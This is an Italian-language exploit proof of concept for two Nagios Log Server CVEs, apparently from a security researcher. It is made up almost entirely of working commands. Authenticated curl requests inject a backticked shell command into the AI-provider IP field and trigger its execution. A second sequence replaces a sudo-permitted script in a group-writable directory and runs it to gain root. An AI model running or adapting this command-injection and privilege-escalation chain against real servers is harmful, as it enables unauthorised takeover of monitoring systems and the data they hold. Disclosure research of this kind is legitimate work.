
Exploit Proof of Concept per CVE-2025-34322 e CVE-2025-34323 in Nagios Log Server
Exploit Proof of Concept per CVE-2025-34322 e CVE-2025-34323 in Nagios Log Server, insieme a uno script combinato per ottenere una shell come root.
Dopo l'autenticazione, sostituisci il tuo ID di sessione in questi due comandi curl. Il primo imposta il comando da eseguire, il successivo eseguirà il comando:
$ curl -s -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=<your-session-id>' --data 'csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d&natural_language_query=1&nlp_disclaimer=on&ai_provider=self_hosted&self_host_ip_address=`touch /tmp/rce`&ai_port=8000&saveglobals=1' http://192.168.122.198/nagioslogserver/admin/globals
$ curl -s -H 'Cookie: ls_session=<your-session-id>' http://192.168.122.198/nagioslogserver/dashboard/natural_language_to_query
L'utente www-data ha diritti sudo per eseguire il seguente script come root:
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/get_logstash_ports.sh
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/profile.sh
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh
e la directory /usr/local/nagioslogserver/scripts è scrivibile
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver$ ls -lah
total 44K
drwxrwxr-x 11 nagios nagios 4.0K Sep 7 16:34 .
drwxr-xr-x 12 root root 4.0K Sep 7 16:29 ..
drwxrwxr-x 4 nagios nagios 4.0K Sep 7 16:20 etc
-rw-r--r-- 1 root root 0 Sep 7 16:34 .installed
drwxr-xr-x 14 nagios nagios 4.0K Sep 7 16:29 logstash
drwxrwxr-x 2 nagios nagios 4.0K Sep 7 16:20 mibs
drwxr-xr-x 12 nagios nagios 4.0K Sep 7 16:20 opensearch
drwxrwxr-x 5 nagios nagios 4.0K Sep 7 16:20 pythonvenv
drwxrwxr-x 3 nagios nagios 4.0K Sep 7 16:20 scripts
drwxrwxr-x 2 nagios nagios 4.0K Sep 7 16:36 snapshots
drwxrwxr-x 3 nagios www-data 4.0K Sep 7 16:36 tmp
drwxrwxr-x 2 nagios nagios 4.0K Sep 7 16:31 var
dato che l'utente www-data è membro del gruppo nagios. Pertanto, l'utente www-data può spostare qualsiasi file all'interno della directory indipendentemente dalla proprietà. I seguenti comandi sposteranno un file ( reconfigure_ncpa.sh ) che l'utente www-data può eseguire con diritti sudo e poi sostituiranno il file con un nuovo file che contiene comandi arbitrari:
mv /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh.bak;
echo '<command>' > /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
chmod +x /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
sleep 1;
sudo /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;